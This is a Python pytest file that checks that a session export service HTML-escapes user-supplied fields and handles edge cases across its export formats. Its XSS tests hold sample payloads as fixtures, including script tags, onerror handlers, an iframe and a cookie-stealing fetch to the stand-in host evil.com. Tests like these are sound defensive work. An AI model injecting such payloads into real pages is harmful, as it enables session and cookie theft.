"""Security tests for session export generators.

Validates that all user-supplied content is properly escaped in HTML exports
to prevent XSS attacks, and that markdown/text exports handle edge cases.
"""

from datetime import datetime, timezone
from unittest.mock import MagicMock

import pytest

from app.schemas.session import SessionExport
from app.services.export_service import (
    generate_html_export,
    generate_markdown_export,
    generate_text_export,
)


def _make_session(
    tree_name="Test Tree",
    ticket_number=None,
    client_name=None,
    decisions=None,
    scratchpad="",
):
    """Create a mock session object for export testing."""
    session = MagicMock()
    session.tree_snapshot = {"name": tree_name}
    session.ticket_number = ticket_number
    session.client_name = client_name
    session.decisions = decisions or []
    session.scratchpad = scratchpad
    session.started_at = datetime(2026, 1, 15, 10, 30, tzinfo=timezone.utc)
    session.completed_at = datetime(2026, 1, 15, 11, 0, tzinfo=timezone.utc)
    return session


def _default_options(**kwargs):
    """Create SessionExport options with defaults."""
    return SessionExport(
        format=kwargs.get("format", "html"),
        include_timestamps=kwargs.get("include_timestamps", True),
        include_tree_info=kwargs.get("include_tree_info", True),
    )


# --- XSS Prevention Tests (HTML Export) ---


class TestHtmlExportXssSecurity:
    """Verify all user-supplied fields are HTML-escaped in HTML export."""

    def test_tree_name_script_tag_escaped(self):
        session = _make_session(tree_name='<script>alert("xss")</script>')
        result = generate_html_export(session, _default_options())
        assert "<script>" not in result
        assert "&lt;script&gt;" in result

    def test_tree_name_event_handler_escaped(self):
        session = _make_session(tree_name='<img src=x onerror="alert(1)">')
        result = generate_html_export(session, _default_options())
        assert "onerror" not in result.split("&")[0]  # onerror should be inside escaped string
        assert "&lt;img" in result

    def test_ticket_number_xss_escaped(self):
        session = _make_session(
            ticket_number='<script>document.cookie</script>'
        )
        result = generate_html_export(session, _default_options())
        assert "<script>" not in result
        assert "&lt;script&gt;" in result

    def test_client_name_xss_escaped(self):
        session = _make_session(client_name='<img src=x onerror="fetch(\'evil.com\')">')
        result = generate_html_export(session, _default_options())
        assert "onerror" not in result.split("&")[0]
        assert "&lt;img" in result

    def test_decision_question_xss_escaped(self):
        session = _make_session(decisions=[
            {"question": '<script>alert("q")</script>', "answer": "Yes"}
        ])
        result = generate_html_export(session, _default_options())
        assert "<script>" not in result
        assert "&lt;script&gt;" in result

    def test_decision_answer_xss_escaped(self):
        session = _make_session(decisions=[
            {"question": "Safe question", "answer": '"><script>alert(1)</script>'}
        ])
        result = generate_html_export(session, _default_options())
        assert "<script>" not in result

    def test_decision_notes_xss_escaped(self):
        session = _make_session(decisions=[
            {"question": "Q", "answer": "A", "notes": '<iframe src="evil.com"></iframe>'}
        ])
        result = generate_html_export(session, _default_options())
        assert "<iframe" not in result
        assert "&lt;iframe" in result

    def test_decision_timestamp_xss_escaped(self):
        session = _make_session(decisions=[
            {"question": "Q", "answer": "A", "timestamp": '<script>alert("t")</script>'}
        ])
        result = generate_html_export(session, _default_options())
        assert "<script>" not in result

    def test_scratchpad_xss_escaped(self):
        session = _make_session(
            scratchpad='<script>fetch("https://evil.com/steal?c="+document.cookie)</script>'
        )
        result = generate_html_export(session, _default_options())
        assert "<script>" not in result
        assert "&lt;script&gt;" in result

    def test_action_performed_field_xss_escaped(self):
        """Test the fallback field 'action_performed' is also escaped."""
        session = _make_session(decisions=[
            {"action_performed": '<script>alert("ap")</script>', "answer": "Done"}
        ])
        result = generate_html_export(session, _default_options())
        assert "<script>" not in result

    def test_multiple_xss_vectors_in_single_export(self):
        """Test that all fields are escaped even when multiple contain payloads."""
        session = _make_session(
            tree_name='<script>1</script>',
            ticket_number='<script>2</script>',
            client_name='<script>3</script>',
            scratchpad='<script>4</script>',
            decisions=[
                {
                    "question": '<script>5</script>',
                    "answer": '<script>6</script>',
                    "notes": '<script>7</script>',
                    "timestamp": '<script>8</script>',
                }
            ],
        )
        result = generate_html_export(session, _default_options())
        # Count: there should be zero raw <script> tags in output
        assert result.count("<script>") == 0


# --- Unicode and Edge Case Tests ---


class TestExportEdgeCases:
    """Test edge cases across all export formats."""

    def test_unicode_emoji_in_all_formats(self):
        session = _make_session(
            tree_name="Troubleshooting 🔧",
            client_name="Acme Corp 🏢",
            decisions=[{"question": "Did it work? ✅", "answer": "Yes 👍"}],
        )
        for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
            result = gen(session, _default_options())
            assert "🔧" in result
            assert "✅" in result

    def test_empty_decisions_list(self):
        session = _make_session(decisions=[])
        for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
            result = gen(session, _default_options())
            assert result  # should not crash, should produce output

    def test_decision_with_missing_fields(self):
        """Decisions may have only partial fields."""
        session = _make_session(decisions=[
            {"question": "Only question, no answer or notes"},
            {"answer": "Only answer"},
            {},
        ])
        for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
            result = gen(session, _default_options())
            assert result

    def test_very_long_content(self):
        """Ensure no truncation or crash on large inputs."""
        long_text = "A" * 10000
        session = _make_session(
            tree_name=long_text,
            decisions=[{"question": long_text, "answer": long_text, "notes": long_text}],
        )
        for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
            result = gen(session, _default_options())
            assert len(result) > 10000

    def test_html_entities_in_content(self):
        """Ampersands and angle brackets in normal content should be escaped in HTML."""
        session = _make_session(
            tree_name="Q&A: Is 5 > 3?",
            decisions=[{"question": "Check if A < B & C > D", "answer": "True"}],
        )
        result = generate_html_export(session, _default_options())
        assert "Q&amp;A" in result
        assert "&lt;" in result or "&gt;" in result

    def test_newlines_in_scratchpad_preserved(self):
        """Scratchpad with newlines should be readable in all formats."""
        session = _make_session(scratchpad="Line 1\nLine 2\nLine 3")
        for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
            result = gen(session, _default_options())
            assert "Line 1" in result
            assert "Line 3" in result


# --- Format-Specific Tests ---


class TestMarkdownExport:
    """Test markdown-specific output formatting."""

    def test_includes_header_with_tree_info(self):
        session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
        result = generate_markdown_export(session, _default_options())
        assert "# DNS Troubleshooting" in result
        assert "**Ticket:** TK-1234" in result

    def test_excludes_tree_info_when_disabled(self):
        session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
        opts = _default_options(include_tree_info=False)
        result = generate_markdown_export(session, opts)
        assert "# DNS Troubleshooting" not in result
        assert "TK-1234" not in result

    def test_step_numbering(self):
        session = _make_session(decisions=[
            {"question": "Step A", "answer": "Yes"},
            {"question": "Step B", "answer": "No"},
            {"question": "Step C", "answer": "Maybe"},
        ])
        result = generate_markdown_export(session, _default_options())
        assert "### Step 1: Step A" in result
        assert "### Step 2: Step B" in result
        assert "### Step 3: Step C" in result


class TestTextExport:
    """Test plain text output formatting."""

    def test_includes_header_with_tree_info(self):
        session = _make_session(tree_name="Network Check", client_name="Contoso")
        result = generate_text_export(session, _default_options())
        assert "Network Check" in result
        assert "Client: Contoso" in result

    def test_step_numbering(self):
        session = _make_session(decisions=[
            {"question": "Check cable", "answer": "Connected"},
            {"question": "Check DNS", "answer": "Resolving"},
        ])
        result = generate_text_export(session, _default_options())
        assert "1. Check cable" in result
        assert "2. Check DNS" in result


class TestHtmlExportStructure:
    """Test HTML output structure (non-security)."""

    def test_valid_html_document(self):
        session = _make_session()
        result = generate_html_export(session, _default_options())
        assert result.startswith("<!DOCTYPE html>")
        assert "</html>" in result
        assert "<meta charset" in result

    def test_includes_css_styles(self):
        session = _make_session()
        result = generate_html_export(session, _default_options())
        assert "<style>" in result
        assert "font-family" in result

    def test_timestamps_included_when_enabled(self):
        session = _make_session()
        opts = _default_options(include_timestamps=True)
        result = generate_html_export(session, opts)
        assert "2026-01-15 10:30" in result

    def test_timestamps_excluded_when_disabled(self):
        session = _make_session()
        opts = _default_options(include_timestamps=False)
        result = generate_html_export(session, opts)
        assert "2026-01-15" not in result
